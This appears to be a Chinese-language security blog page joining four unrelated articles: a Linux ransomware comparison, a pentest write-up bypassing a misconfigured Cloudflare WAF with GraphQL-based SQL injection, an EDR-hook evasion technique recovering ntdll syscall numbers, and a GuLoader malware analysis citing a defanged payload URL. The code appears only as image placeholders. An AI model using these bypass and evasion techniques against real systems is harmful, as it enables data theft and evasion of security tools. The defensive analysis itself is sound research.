
作為攻擊過程一部分的webshell的部署也應該被視為維護持久性。 webshell充當後門，允許攻擊者在重新啟動或任何類型的更改後保持對這些服務器的訪問。在更複雜的攻擊期間通過橫向移動訪問服務器的場景中，這種情況下的持久性主要減少到創建用戶帳戶或洩露原始服務器憑據，這允許攻擊者通過合法服務(如SSH)維持訪問。

最後，考慮到與Linux系統相關的事件與Windows系統相比的明顯演變，遲早會部署後門，如Merlin或Poseidon，就像現在在Windows上發生的Cobalt Strike一樣，將變得更加普遍。因此，攻擊者需要利用在Windows系統中更相似的技術，例如Cron job(相當於Windows任務調度程序)或Daemons(相當於Windows服務)等執行來獲得持久性。

主要目標在面向linux的勒索軟件的受害者類型和目標方面，我們看到了與Windows同類軟件的一些最大差異。首先，我們必須考慮到這些系統所處的環境。 Windows在個人電腦和大多數組織的用戶工作站中更為普遍，然而，在服務器領域，特別是對於使用Linux的某些類型的部署，Linux通常是唯一有效的選擇。

這意味著，就像我們可以很容易地找到多個針對個人和終端的Windows勒索軟件家族一樣，這在Linux系統中要少見得多。針對Linux的勒索軟件更明確地指向暴露的服務器或內部網絡上的服務器，這些服務器可以從Windows設備上發起的攻擊轉向訪問。

因此，與Windows威脅相比，Linux勒索軟件顯然是針對中型和大型組織的，Windows威脅在本質上要普遍得多。

同樣，這兩個系統的內部結構也導致攻擊者選擇要加密的文件夾和文件的方式有所不同。我們可以在許多面向linux的樣本中找到清單，這些清單旨在避免/boot、/etc或/sys等可能導致系統損壞的目錄，就像我們看到Windows惡意軟件避免使用一樣。

在Windows惡意軟件中沒有包含目標的配置時，它會不加區分地遍歷所有系統磁盤。在Linux惡意軟件中，更常見的是發現威脅完全依賴於提供一個或多個目標目錄的參數或配置，沒有這些參數或配置，威脅就不會執行。例如Royal, Monti, Cylance或Lockbit。

Linux和Windows中擴展管理的差異也會讓攻擊者產生一些奇怪的行為。 Cl0p就是這樣一種情況，它使用字符“.”來區分文件和文件夾。這在Windows中非常有效，但在Linux中不一定能很好地工作，因為擴展在這個系統中幾乎沒有相關性。

5.png

Cl0p勒索軟件使用“.”進行擴展

但並非所有系列中都存在該參數，對於其他示例，值得注意的是，除了與ESXi或CL0p相關路徑（Oracle路徑為“/u01/u02/u03/u04”）的特定情況外，/home和/root文件夾是配置中最常見的文件夾，然後是在某些情況下出現的/opt。

洩露在Linux中，洩漏通常與攻擊載體有關。在使用被盜憑證發生攻擊的情況下，通常使用合法工具(如SSH服務)獲得訪問權限，這同時允許從服務器提取所有類型的信息，而無需部署其他工具。

同樣，在許多情況下，利用漏洞獲得服務器訪問權與Webshell的部署相關聯，類似的情況大多數發生在Webshell，以及執行Linux命令的功能。因此，它們經常被用作進行滲透的工具。

在Windows系統中，使用RDP、WinSCP或RClone可能與使用SSH或其他合法工具(如Linux中的Curl或Wget)類似。在Windows中非常常見，而在Linux中不太常見的是使用更複雜的威脅，例如過去的威脅Trickbot或Emotet，或者為此目的使用CobaltStrike或其他開發後框架。隨著勒索軟件樣本的成熟，攻擊者的https也很可能會成熟，並且我們最終會在Linux中看到使用後門(如Merlin或Poseidon)的這種場景。

值得注意的是，勒索軟件組織利用雙重勒索已經有一段時間了，因為他們不僅劫持文件，還威脅要在他們的洩密網站上暴露受害者的敏感信息。事實上，Cl0p等幾個知名組織已經開展了一些活動，在這些活動中，他們直接跳過了加密工具，只專注於為隨後的勒索活動竊取信息。

對系統的影響在勒索軟件事件中，在檢測和取證級別上，關鍵點是攻擊者對系統的影響超出了加密本身。在Windows環境中，我們習慣於嚴密監控旨在刪除ShadowCopies、禁用備份以及試圖禁用或繞過安全工具的命令。

執行旨在關閉目標服務(如數據庫)的命令也相對常見，因為這允許威脅對大多數關鍵文件進行加密，從而增加受害者支付贖金的壓力。

在Linux系統中，對備份和關閉安全工具的擔憂還沒有Windows那麼普遍。然而，如果保持適當的監控，我們可以發現一些影響系統的元素，這些元素可以幫助早期檢測。第一個例子在Windows環境中很常見，它是一個互斥鎖，在開始加密之前由許多威脅創建，以避免同時執行可能損壞文件而不可能返回。就像在Windows中生成特定的互斥鎖對某些家庭起到保護的作用一樣，在Linux中，我們有像Lockbit這樣的樣本，默認情況下，它會生成一個名為/tmp/loker.pid的文件，如果該文件在執行時已經在系統中，則會導致進程立即終止（無論之前生成該文件的進程是否為勒索軟件本身）。

與Windows中發生的情況類似，一些家族生成較少重複的文件，例如Gwisin，其生成的互鎖文件更具隨機性: /tmp/.66486f04-bf24-4f5e-ae16-0af0fdb3d8fe。

當涉及到檢測時，一個更簡單但效率更低的版本是日誌文件。在加密過程中，從真實的攻擊活動中找到帶有調試信息的文件並不罕見，例如HelloKitty勒索軟件或Monti，它們分別生成work.log和result.txt文件，其中包含有關其執行和加密的信息，其內部字符串非常具有這兩個家族的特徵。但是，應該注意的是，這些文件的存在在任何情況下都不會阻止它們的執行，就像Mutex那樣。

關於可以監控的命令的執行，唯一真正值得注意的案例是關於ESXi系統上的虛擬化。大多數面向linux的勒索軟件樣本都有ESXi版本，或者以直接兼容的方式編譯。這就是為什麼在這些樣本中獲得正在運行的設備列表以及停止它們允許加密的功能非常常見的原因。

6.png

Royal ransomwareMonti Ransomware中嵌入的Esxi命令

7.png

Esxi命令嵌入Monti勒索軟件

Gwisin和BlackCat勒索軟件:

8.png

監控這種類型的執行是很有意義的，因為如果它是在加密之前發生的，這讓我們能夠預測加密，並可能及時檢測並採取行動。

加密方案每個勒索軟件威脅都要使用加密貨幣。在Windows中，在某些情況下，比如Conti，這部分是如何委託給Windows api本身的。在許多其他情況下，惡意軟件使用許多不同的加密庫，如CryptoPP(例如，PYSA Ransomware)， mbedtls(例如，Petya)和libcrypt(例如，Moneybird)。

在Linux系統的樣本中，有一半的樣本使用OpenSSL庫執行所有加密任務。事實上，幾個最著名的惡意軟件在二進製文件中靜態鏈接了這個庫，佔威脅代碼的50%以上。不過還有一些惡意軟件是在Golang或Rust中開發的。

就算法而言，在Windows上，ChaCha20和RSA占主導地位。

在Linux世界中可以找到的變體數量較少。這些樣本中的大多數主要依賴於AES進行加密，ChaCha20是最常見的替方案。

不過，ESXiArgs使用Sosemanuk進行對稱加密，而其中Cl0p則在通常使用非對稱加密的地方使用帶有嵌入式密鑰的RC4。攻擊者在攻擊時會優先考慮效率，因為覆蓋所有目標文件的速度越快，遇到的防禦就越少。可靠性是第二個考慮因素，因此他們使用安全的庫和算法可以避免被分析。這兩個因素導致不同的攻擊者會創建相對統一的工具，這有助於我們深入了解所使用的工具和優先級，從而使安全研究人員能夠更容易地檢測到這種類型的威脅。

總結通過對linux為目標的勒索軟件分析可以發現，它們的核心功能通常被簡化為基本的加密過程，從而將其餘的工作留給腳本和合法的系統工具。這種極簡方法不僅使它們嚴重依賴外部配置和腳本，而且使它們更難以檢測。

研究還顯示了勒索軟件之間的一些獨特策略，明確關注ESXi系統，但也涉及其他技術。勒索軟件的主要入口途徑是暴露服務中的漏洞，在某些情況下，這些漏洞恰恰是最相關的服務，因此也是這類攻擊的主要目標。

比較Windows系統和Linux之間的勒索軟件加密技術發現，針對Linux的惡意軟件傾向於使用OpenSSL作為主要庫，AES作為通用加密基石，RSA作為主要的非對稱選擇。

HireHackking

有研究人員在安全測試時，繞過了Cloudflare WAF 的SQLi 過濾器，這意味著Cloudflare 安裝沒有正確配置，但Cloudflare目前還不認為這是個漏洞。雖如此，安全人員在為其應用程序部署安全保護時需要注意有關問題。對於試圖繞過WAF 的人來說，發現的些許漏洞也可能會派上用場。攻擊者可以利用一種或多種技術（具體取決於最終應用程序）繞過某些WAF 並通過濫用SQLi 漏洞竊取數據。

測試時使用的Web應用程序詳細信息測試時使用的Web 應用程序的目的對於實際測試來說並不重要。除了在服務器上公開的/graphql 端點和運行查詢的PostgreSQL 服務之外，寫入查詢的堆棧也並不重要。 GraphQL 是一種查詢語言，它處理查詢，在測試中，在後端運行適當的SQL 查詢並返回請求的數據。之前由於測試人員從未使用或閱讀過有關GraphQL 的信息，因此遵循的是官方教程https://graphql.org/learn/，如果感興趣你也可以了解一下。

查詢的形成類似於JSON 對象。應用程序向/graphql 端點發送POST 請求。請求正文包含GraphQL 查詢，如下所示：

1.png

X-MARK 中未過濾的參數從GraphQL 傳遞，並在PostgreSQL 存儲過程中被替換，從而允許我們注入在後端服務器上執行的SQL 查詢。

這幾乎是我們目前必須了解的關於應用程序的內容。在接下來的部分中，我將介紹我在測試SQL 注入應用程序時觀察的一些現象，這些觀察使我成功地利用了SQL注入，包括繞過Cloudflare SQLi過濾器。

觀察1第一個重要的觀察結果是服務器對有效的電子郵件輸入（即當SQL 查詢返回數據時）的響應與對無效的電子郵件輸入的響應不同。返回的HTTP 代碼始終為200，但響應正文不同：

這將返回“OK”：

2.png

這將返回'NOT OK'：

3.png

起初這可能看起來不太像，但它實際上是允許我驗證數據庫中特定數據是否存在的機制。它讓我想到了利用這種機制執行SQL盲注入攻擊並使用腳本自動化它的想法。該腳本構造一個有效負載，並將其與POST請求一起發送，POST請求反過來修改在後端服務器上運行的SQL查詢。

步驟如下：

我們有一組字符，稱為字母表。這組字符包括所有可能的字符，這些字符可以是我們試圖從數據庫中提取的數據的一部分。

假設資源是需要檢索的SQL 資源。它可以是數據庫名稱、用戶名、任何表格中的單元格值等。

將逐字符檢索資源。我們試圖檢索的字符稱為char。

我們遍歷字母表，並將每個字母與char 進行比較。

如果有匹配，我們記錄結果並移動到下一個字符。

最後，我們通過連接所有字符獲得了完整的資源。

觀察2第二個重要的觀察結果是，在執行的SQL查詢出現錯誤時，會顯示錯誤消息，這對我來說容易得多。這個錯誤信息不允許我執行一個基於錯誤的SQL注入，而是顯示了由PostgreSQL在SQL服務器上執行的完整SQL查詢。這一點為什麼如此重要，我們很快就會明白。

從錯誤消息中提取的SQL查詢看起來像這樣：

4.png

作為“email”變量提交的用戶輸入反映在X-MARK上。這就是為什麼擁有完整的SQL查詢對於開發過程很重要的兩個原因：

可以看到用戶輸入被括在括號中，這條信息使有效負載的生成過程變得更加容易，因為人們知道輸入必須包含與左括號匹配的右括號，以便結束SQL 查詢有效。

用戶輸入反映在查詢中的多個位置（第5、10、11 行），給我帶來麻煩的是第5 行。如果是X-MARK 僅反映在WHERE 子句中的情況，事情會更容易。但在這種情況下，我必須確保我的輸入不會弄亂表JOIN。這是必要的，以確保生成和查詢正確的表行，以便我可以獲得所需的數據。

注意：第8 行的$1 符號是SQL 準備查詢的位置參數，並由HTTP 請求的“名稱”變量參數替換。但它不容易受到SQL 注入的影響。

第一次嘗試我首先嘗試查找當前數據庫的名稱。在PostgreSQL 中執行此操作的SQL 查詢是：

5.png

有很多事情需要考慮，而且從一開始就很瘋狂，我必須從一開始就想出繞過Cloudflare 的方法。

WAF 繞過的第一種辦法首先，我必須首先將current_database() 的第一個字符與字符“a”進行比較。 PostgreSQL的方法是：

6.png

Cloudflare會阻塞'substr'函數，所以訣竅是要么使用'left'，要么使用'right'函數。我使用'right'函數，因為'left'給了我一些麻煩，當我試圖找出我已經找到所有的數據庫名稱的字符。新的查詢（將“a”與最後一個資源的字符進行比較，如下所示：

7.png

並且未被WAF 檢測到。

注意：函數right(current_database(), N) 返回數據庫名稱最右邊的N 個字符。因此，當找到最後一個字符時，例如X，下一次調用該函數應該是：

8.png

由於我們已經知道我們必須關閉查詢中的左括號（來自觀察2），POST 請求的正文如下所示（此處僅顯示'email'變量）：

9.png

但是，記住後端SQL 查詢如何包含JOIN 子句（來自觀察2），我還在查詢中添加了一些額外的內容，以確保SQL 連接在後台正確執行。 POST 請求的正文如下所示：

10.png

服務器上的後續SQL 查詢如下所示：

11.png

這很複雜，但想法是一樣的：如果“a”是數據庫名稱的最右邊的字符，我們將從服務器獲得一個“OK”響應。

無論如何，在向服務器提交這個請求後，我看到了Cloudflare WAF(配置錯誤)的可怕頁面，告訴我我的請求被阻止了。

第二次嘗試在我再次嘗試之前，我必須了解Cloudflare 對我的查詢有什麼幫助。

經過反複測試，我發現問題出在生成的服務器SQL 查詢中的FROM 子句中的空格。這導致我進入第二個WAF 繞過。

WAF 繞過的第二種辦法此處使用的第二種WAF 繞過技術消除了SQL 查詢中的空格，並將SQL FROM 子句的部分括在括號中。

12.png

變成了

13.png

因此POST 請求的結果正文變為：

14.png

在服務器上的後續SQL查詢是這樣的：

15.png

這樣，整個過程就可以實現自動化了，以找到數據庫名稱的整個值。相同的過程還檢索了用戶名（通過使用user 函數）和數據庫版本（通過使用version() 函數）。但是存儲在數據庫表中的數據呢？檢索這些數據的通用查詢，以及我在上一篇文章中使用的繞過方法的查詢都不起作用。兩者都被阻止：

16.png

為什麼我的查詢被阻止了？問題是緊跟在SELECT 子句之後的FROM 子句。以下查詢將很好地通過（錯誤配置的）Cloudflare WAF SQLi 過濾器：

17.png

一旦在查詢結束時引入WHERE 子句，WAF 就會啟動並阻止請求。我的最終目標是從任何表中檢索數據。是時候深入挖掘兔子洞了。

第三次嘗試我在這裡給出SQLi 的早期失敗嘗試，只是因為我希望這篇文章向人們展示在滲透測試期間思維過程是如何展開的。

在我嘗試使事情複雜化（即脫離所有JOIN 和FROM 子句）時，我使用了一個簡單的分號和註釋技巧(;--)。計劃是首先檢索數據庫名稱，然後在此基礎上檢索表中的數據：

18.png

服務器上生成的SQL 查詢如下：

19.png

無論如何，這當然行不通，原因有兩個：

第5行之後的所有內容都會因為註釋而被忽略，這不一定是限制性的，但我寧願在FROM 子句中執行我的SQLi。

我收到以下錯誤：“綁定消息提供1 個參數，但準備好的語句需要0”。這是因為name 變量被傳遞給準備好的語句，但第8 行被忽略了，因此新的準備好的語句不需要該變量。

第四次嘗試我在這裡給出了從表中檢索數據的另一個早期嘗試，它使我更接近我的目標。在此之前我所知道的是，以下負載將被WAF 阻止：

20.png

注意：我添加了LIMIT 和OFFSET 關鍵字，以便從table1 中僅檢索一行。 LIMIT 表示我們只想要檢索一行，OFFSET 表示在開始檢索數據之前我們想要跳過多少行。在這種情況下，OFFSET 0 表示數據庫應該跳過0 行並返回table1 中的第一行。這對於逐一檢索表的所有行很有用。

WAF 繞過的第三種辦法回顧從數據庫服務器產生的錯誤中檢索到的SQL 查詢，我注意到可能不需要使用FROM 子句。 table1 表在使用AS 關鍵字的查詢中別名為t1，並且可以基於t1 引用它的任何列。這樣就可以這樣查詢table1 的column1 列：

21.png

這可以很好地通過（錯誤配置的）Cloudflare WAF，因此POST 請求正文中的有效負載可以這樣轉換：

22.png

服務器上的後續SQL 查詢如下所示：

23.png

這可以正常工作，但限制是只能提取table1（或table2）中的數據，因為這些是服務器SQL 查詢中唯一的別名表，繼續進行最後的成功嘗試。

最後一次嘗試好吧，如果我想從數據庫中檢索任何我想要的數據，我不得不放棄WAF 繞過的第三種方法。此時，似乎沒有辦法避免使用FROM子句。而且，在不被Cloudflare的WAF檢測到的情況下，似乎也沒有辦法成功地將FROM子句隱藏到有效載荷中。似乎我正在尋找的答案不在SQL查詢中。我不得不後退一步。

進入GraphQL我們已經看到發送的請求的正文是一個GraphQL 查詢，然後它被翻譯成一個SQL 查詢。所以我的下一個嘗試是改變GraphQL 查詢並設法隱藏其中的FROM 子句，這將有望轉換為在服務器上工作的SQL查詢。

如上所述，GraphQL 查詢的結構類似於JSON 對象。 JSON 中的數據以名稱/值對存儲在字典中，它們都是字符串。 GraphQL 查詢需要字符串鍵，但允許使用任意參數。這些規則適用於GraphQL：

數據用逗號分隔；

花括號容納對象；

方括號包含數組；

因此一個GraphQL查詢參數可以看起來像以下任何一種方式：

24.png

這讓我想到：如果我將對象的值作為數組而不是字符串傳遞，後端服務器上的SQL 查詢會發生什麼。簡而言之，我想打破SQL 注入查詢並將FROM 子句移動到不同的對像以欺騙Cloudflare。

25.png

進入

26.png

該請求繞過了WAF，我從數據庫中得到了一個錯誤，報錯是一個格式不正確的SQL查詢，並向我顯示了完整的SQL查詢結果。在註入點的查詢是這樣的：

27.png

注意SELECT column1 後面的逗號(,) 嗎？那是我繞過SQLi 過濾的憑證。將GraphQL 查詢參數的值作為數組傳遞會在後端SQL 服務器中轉換為字符串。字符串只是由逗號和空格字符分隔的數組項的串聯！此時，SQL查詢是錯誤的，但我可以註釋掉逗號，並獲得一個有效的、繞過waff的請求，該請求從我選擇的任何數據庫表中檢索我想要的任何數據。

這是最終POST 請求的正文：

28.png

以及在SQL 服務器上生成的有效SQL 查詢：

29.png

成功！

為了簡化表檢索過程，我用Python編寫了一個腳本來自動化這個過程。腳本的偽代碼如下所示：

30.png

這就是我如何利用GraphQL 製作SQL 注入，繞過配置錯誤的Cloudflare WAF 實例，並能夠在後端檢索整個數據庫。正如我在開頭提到的，這種繞過技術的組合不適用於正確配置的Cloudflare WAF。

緩解措施緩解數據庫上SQL 注入的最安全方法是準備好的語句。

HireHackking

為在成熟環境中運行而設計的Post-exploitation工具經常需要繞過在目標上運行的終端檢測和響應(EDR) 軟件。 EDR 經常通過掛鉤Windows API 函數進行操作，尤其是那些由ntdll 導出的函數（特別是基於Nt/Zw*() 系統調用的API 函數）。由於在正常情況下與底層操作系統的所有交互都將通過這些函數，這樣在檢測不需要的應用程序行為時就提供了一個理想的攔截點。

之前MDSec 已經在《绕过用户模式挂钩和直接调用红队的系统调用》 中討論了繞過這些掛鉤的各種方法，但是由於EDR 經常與攻擊者鬥法，因此EDR的檢測技術只有實時更新，以檢測識別用於實現繞過掛鉤的新技術。

在Nighthawk C2的開發過程中，MDSec 偶然發現了一種新的技術，用於識別某些系統調用的Syscall Number，然後可以使用該技術將ntdll 的新副本加載到內存中，從而允許剩餘的系統調用在不觸發任何已安裝的函數掛鉤的情況下成功讀取。該技術涉及濫用新的Windows 10 並行加載程序在進程初始化期間早期生成的某些系統調用的副本。

Windows 10 並行加載程序從Windows 10 開始，微軟引入了並行DLL 加載的概念。並行加載允許進程執行遞歸映射通過進程模塊導入表導入的DLL 的過程，而不是在單個線程上同步，從而在初始應用程序啟動期間提高性能。

當我們試圖理解為什麼在一個簡單的單線程應用程序中會創建三到四個額外的線程時，我們第一次注意到並行加載程序的存在。檢查這些線程可以確定它們是線程池的工作線程。

通過上網搜索其中原委時，有一篇來自2017 年黑莓的Jeffery Tang 的博客文章以及來自用戶RbMm的回答幫助了我，他在提供偽代碼以幫助闡明該過程中涉及的步驟方面也做得非常出色。這兩篇文章清楚地說明了背後的運行原因，如果對進一步了解並行加載程序工作原理有興趣，我推薦這兩篇文章。

在閱讀StackOverflow答案時，有一件事立即引起了我的注意，那就是如果發現有幾個核心低級別本機API被繞過，並行加載程序就會使並行DLL加載短路，並退回到同步模式。這些API參與了從磁盤打開和映射映像的過程。

以下是用戶RbMm的部分答复，我們將在下面進行詳細分析：

1.png

上面函數LdrpDetectDetour()的偽代碼本質上是檢查5個本機API函數NtOpenFile()， NtCreateSection()， ZwQueryAttributeFile()，ZwOpenSection()和ZwMapViewOfFile()，並確定這些字節是否已經從存儲在ntdll中的LdrpThunkSignature數組中已知的正確字節被修改。

通過對LdrpDetectDetour() 函數的快速反彙編確認上述偽代碼中描述的行為仍然存在，但應該提到的是，該函數現在額外地驗證了另外27個本機API的完整性，但仍然只是比較了詳細的5個函數的精確的系統調用存根。

用IDA Pro 檢查ntdll 發現LdrpDetectDetour() 函數是從兩個地方調用的：LdrpLoadDllInternal()（直接從LdrpLoadDll() 調用）和LdrpEnableParallelLoading()（在LdrpInitializeProcess() 的後期調用）。由於LdrpDetectDetour() 函數配置了一個全局變量，該變量可以停止並行加載並強制進一步加載同步發生，並且許多安裝了detours 的DLL（例如EDR 用戶空間組件）在加載到進程時立即執行此操作，它在加載每個新的DLL 依賴項時重複調用detour 檢測函數是有意義的。

然而，對這一過程的研究又引發了另一個問題，已知的5個本機API函數的已知良好存根從何而來？最初以為系統調用存根將在代碼生成期間的編譯時被硬編碼，但是靜態檢查LdrpThunkSignature 數組表明情況並非如此，因為在映射ntdll 之前數組沒有初始化，原因是數組駐留在未初始化的.data 中部分。

LdrpThunkSignature標識的數據交叉引用了另一個數組的使用,在LdrpCaptureCriticalThunks(),這個函數反過來調用早期LdrpInitializeProcess()之前進口依賴加載，因此第三方模塊安裝的detours 可能已加載到進程中。

快速手動反編譯LdrpCaptureCriticalThunks() 會顯示類似於以下偽代碼的實現：

2.png

從上面可以清楚地看到，LdrpCaptureCriticalThunks()將五個關鍵函數的每個系統調用存根的前16個字節從每個函數中復製到LdrpThunkSignature數組中。

從LdrpThunkSignature中恢復系統調用具有post-exploitation工具開發經驗的讀者無疑會收穫頗多，有了這五個關鍵函數和它們的Syscall Number（直接從LdrpThunkSignature 讀取）的知識，我們有足夠的本機API 函數能夠使用系統調用從磁盤讀取ntdll 的新副本。

由於LdrpThunkSignature數組不是由ntdll導出的，我們需要在ntdll .data節中找到它。該數組可以通過公共系統調用序言的出現被識別出來：

3.png

下面的代碼能夠使用這個信息來恢復所需的系統調用（MDSec 提供的用於恢復所有系統調用代碼段）：

4.png

可以在MDSec ActiveBreach GitHub 存儲庫中找到使用上述方法從磁盤讀取ntdll 來恢復所有系統調用的實現。

這個實現當然是一個PoC，從opsec 的角度來看並不是最優的，例如，系統調用存根是用使用VirtualAlloc() 創建的RWX 內存分配的。

HireHackking

Unit 42研究人員討論了基於虛擬機監控程序的沙盒中基於內存的工件構建的機器學習渠道，該沙盒是Advanced WildFire的一部分。可以提高對惡意軟件的檢測精度。

正如我們以前所介紹的，惡意軟件開發者正在不斷完善他們的攻擊手段，以使靜態分析和沙盒等策略失效。封裝方法和沙盒逃避等技術的不斷發展讓防御者防不勝防。

更糟糕的是，流行的檢測技術，如結構分析、靜態簽名和許多類型的動態分析，並不能很好地應對目前越來越複雜的攻擊。

惡意軟件開發者越來越多地採用逃避技術，如混淆、封裝和在進程內存中執行動態注入的shellcode。使用來自文件結構的線索進行惡意軟件檢測可能並不總是成功的。封裝技術可以充分修改文件結構以消除這些線索。因此，僅在這類特徵上訓練的機器學習模型將無法有效地檢測出此類樣本。

這種檢測方法的另一種流行的替代方法是使用機器學習模型，該模型基於惡意軟件在沙盒內的執行痕跡來預測惡意行為。然而，正如我們原來所詳細介紹的那樣，沙盒逃避非常普遍，有效負載通常會根據任何數量的線索選擇不執行，這些線索會指向正在模擬的樣本。

惡意軟件也可能會無意或有意地破壞沙盒環境，覆蓋日誌文件，或由於其所使用的低級技巧而阻止成功分析。這意味著，在執行日誌上訓練機器學習模型也不足以捕捉這些逃避類的惡意軟件。

使用NSIS Crypter加密的GuLoader惡意軟件在這篇文章中，我們將分析一個使用Nullsoft Scriptable Install System（NSIS）加密器加密的GuLoader下載器。 NSIS是一個用於創建Windows安裝程序的開源系統。

Hashcc6860e4ee37795693ac0ffe0516a63b9e29afe9af0bd859796f8ebaac5b6a8c

為什麼靜態分析沒有幫助GuLoader惡意軟件是加密的，它也是通過NSIS安裝文件傳遞的，這對於靜態分析來說並不理想，因為必須首先解壓縮文件內容。一旦它被解壓縮，我們仍然有加密的數據和一個NSIS腳本。腳本本身也會動態地解密代碼的某些部分，這是使其難以檢測的另一個因素。

然而，沒有太多的結構線索可以識別這可能是惡意軟件。因此，在可移植可執行文件(PE)結構上訓練的機器學習模型將不能有效地將該文件與其他良性文件區分開來。

NSIS腳本和提取GuLoadershellcode要提取NSIS腳本，我們必須使用7-Zip的舊版本15.05。這個版本的7-Zip能夠解包腳本，而新版本已經刪除了解包NSIS腳本的功能。一旦我們提取了文件內容和NSIS腳本(如圖1所示)，我們就可以開始分析腳本並查看GuLoader示例是如何執行的。

2.png

NSIS腳本

如果向下滾動腳本，我們會很快注意到文件正在復製到新創建的名為%APPDATA%\Farvelade\Skaermfeltet的文件夾中。雖然不清楚原因，但所使用的文件路徑似乎是丹麥語。在復制活動之後，腳本中有常規的安裝邏輯，但是有一個名為func_30的有趣函數。

在此函數被調用之前，字符串$INSTDIR\Filterposerne\Malkekvg. exeNat被複製到名為$4的字符串變量中，如圖2和圖3所示。函數func_30從Programmeludviklinger210中讀取數據。 Kon文件並構建代碼，它將在字符Z被看到後立即調用這些代碼。

NSIS允許開發人員能夠從Windows DLL調用任何導出的函數，並且還允許他們將結果直接保存在NSIS寄存器/堆棧中。此功能允許惡意軟件開發者在運行時動態調用Windows API函數，並使靜態分析更加困難，因為在分析之前必須對其進行評估。

3.png

調用函數func_30

4.png

解碼NSIS代碼

要解碼動態代碼，我們可以編寫一個簡短的Python腳本，該腳本再現行為並提取Windows API調用：

5.png

下圖顯示了上述腳本產生的解碼數據

6.png

解碼的Windows API調用

解碼後的函數一起從NSIS壓縮文件中的另一個文件中讀取shellcode，並使用EnumWindows函數執行它。如果我們必須用偽代碼編寫這個過程，它看起來應該是這樣的：

7.png

為了使其餘的分析更容易，我們將使用shellcode生成一個PE。為了生成可執行文件，我們可以使用Cerbero Profiler或LIEF Python庫等工具。

在本例中，我們使用了LIEF庫來構建一個新的可執行文件。我們所要做的就是添加一個包含Malkekvg.Nat文件內容的新部分，並將入口點設置為正確的偏移量。一旦我們得到了這些，就應該能夠在IDAPro中打開shellcode，並看到它包含有效的x86指令。

8.png

8.2.png

在IDA Pro的入口點生成PE文件

Shellcode分析現在我們在PE文件中有了Shellcode的第一階段，我們可以在動態分析中運行它，看看會發生什麼。我們將看到的第一件事是它檢測到虛擬機，並在顯示消息框後停止執行。此文本在運行時使用4字節XOR密鑰解密。

9.png

無法在虛擬環境中執行該示例

如果我們在IDA Pro中打開文件並稍微遵循代碼，就應該能夠看到用於解密第一階段的大函數。雖然函數圖概述看起來很大，但識別垃圾代碼仍然很容易。

進行解密的代碼如下圖所示。在下圖中，我們可以看到跳轉到第二階段的最終調用。此時，我們可以將第二階段轉儲到另一個可執行文件中進行解密。

我們可以直接從內存中轉儲可執行文件，但是必須確保將入口點修補到正確的地址(在本例中為0x404328)。

10.png

第一階段的Shellcode解密

11.png

調用到下一階段

第二階段使用了許多反分析技術，其中的一些反分析技術為：

內存掃描已知沙盒字符串；

虛擬機監控程序檢查；

時間測量；

為了獲得GuLoader正在下載的最終負載，我們必須手動繞過所有這些檢查，在不受所有這些技術影響的沙盒中運行它，或者在裸金屬沙盒上運行它。

提取有效負載信息為了在不分析第二階段的情況下獲得有效負載信息（包括所有字符串），我們可以使用Spamhaus描述的一個小技巧。 GuLoader使用簡單的XOR加密來加密其字符串，其中包括有效負載URL。

要解密字符串，我們可以對已經知道存在於第二階段中的模式使用暴力。 XOR運算的結果就密鑰。對此的唯一限制是模式必須足夠大，以便我們能夠完全解密有效負載URL。例如，一個好的模式可能是用戶代理字符串，默認設置為Mozilla/5.0(Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) ，如Gecko。

為了快速自動找到解密密鑰，我們必須首先加密一個短模式（例如，用戶代理字符串的前8個字節），然後搜索該結果是否在文件中的某個位置。如果它在文件中的某個位置，那麼我們可以繼續解密剩餘的模式以獲得完整的加密密鑰。

我們會在本文的最後附上Python腳本，該腳本能夠通過上述方法從有效負載中找到加密密鑰。在任何轉儲的第二階段GuLoader負載上運行腳本後，我們應該能夠看到一些字符串和負載URL。

GuLoader有時在有效負載URL前麵包含7到8個隨機字符，它在運行時將其替換為http://或https://。使用http還是https的區別是由隨機模式中的第四個字符決定的。

12.png

在此示例中，有效負載URL為http://ozd[.]com[.]ar/wp-includes/nHMoYlbGLWls101.qxd，並且在分析時有效載荷仍然在線。

最終下載的有效負載來自FormBook惡意軟件家族，其SHA256值為fa0b6404535c2b3953e2b571608729d15fb78435949037f13f05d1f5c1758173。

機器學習如何檢測？在之前的一篇文章中，我們詳細介紹了在實時沙盒運行期間可以從內存中提取的幾種可觀察工件。我們發現，當與機器學習結合使用多種逃避技術檢測惡意軟件時，來自內存分析的數據是非常強大的。

接下來我們回仔細觀察所有這些關於運行時內存中被修改的內容，並將它們與大規模的機器學習相結合，用於惡意軟件檢測。該算法可以自動找到模式，並且可以識別惡意軟件試圖在內存中隱藏其足跡、動態分配和執行shellcode或使用解包的共性。

在這個GuLoader示例中，人類分析人員會立即識別出有幾個獨特的函數指針。我們還會注意到，惡意軟件已經將其自身進程內存中的多個頁面的頁面權限更改為可寫和可執行。我們的機器學習模型能夠自動執行這些活動，從各種內存構件中提取有關特徵來檢測GuLoader示例。

如上所述，我們為Advanced WildFire創建的自動分析平台將以一種高性能的方式自動提取所有這些基於內存的工件。這意味著所有與動態解析函數指針、權限更改和解包可執行文件相關的信息都可以在我們手動管理的檢測邏輯中使用，也可以用於我們的機器學習渠道。

使用機器學習模式的檢測下圖顯示了我們如何創建一個機器學習模型渠道的高級視圖，該模型渠道是根據從上述基於內存的工件中提取的自定義特徵進行訓練的。我們選擇的特性被設計成保留來自冗長工件的最有用的信息。

我們還將惡意軟件執行跟踪作為額外的信息源，並構建了一個集成模型來檢測惡意樣本。如下圖所示，從四個內存工件和惡意軟件執行痕跡中自動提取各種自定義特徵，並將它們傳遞給一個分類模型以檢測惡意樣本。此外，我們還構建了一個集成模型，該模型基於內存工件和基於執行跟踪的特性進行訓練，以提高其性能。

13.png

機器學習模型架構

文件樣本由流程渠道處理，以將內存工件和其他惡意軟件屬性保存到功能存儲中。特徵提取階段使用流式處理和批處理PySpark作業的組合來生成用於訓練模型的最終特徵向量。

ground truth標籤來自一個單獨的渠道，該渠道根據惡意軟件特徵和研究人員輸入為樣本分配標籤。該渠道通過使用樣本首次出現的時間和哈希來生成非重疊的訓練和評估數據集。

解釋模型預測為了識別模型的局限性和能力，理解機器學習模型的預測是至關重要的。機器學習很容易出現誤報，因為它嚴重依賴於訓練數據的質量和多樣性，以及對不斷變化的文件進行預測的泛化能力。因此，具有識別預測的因果特徵的能力是非常有用的。

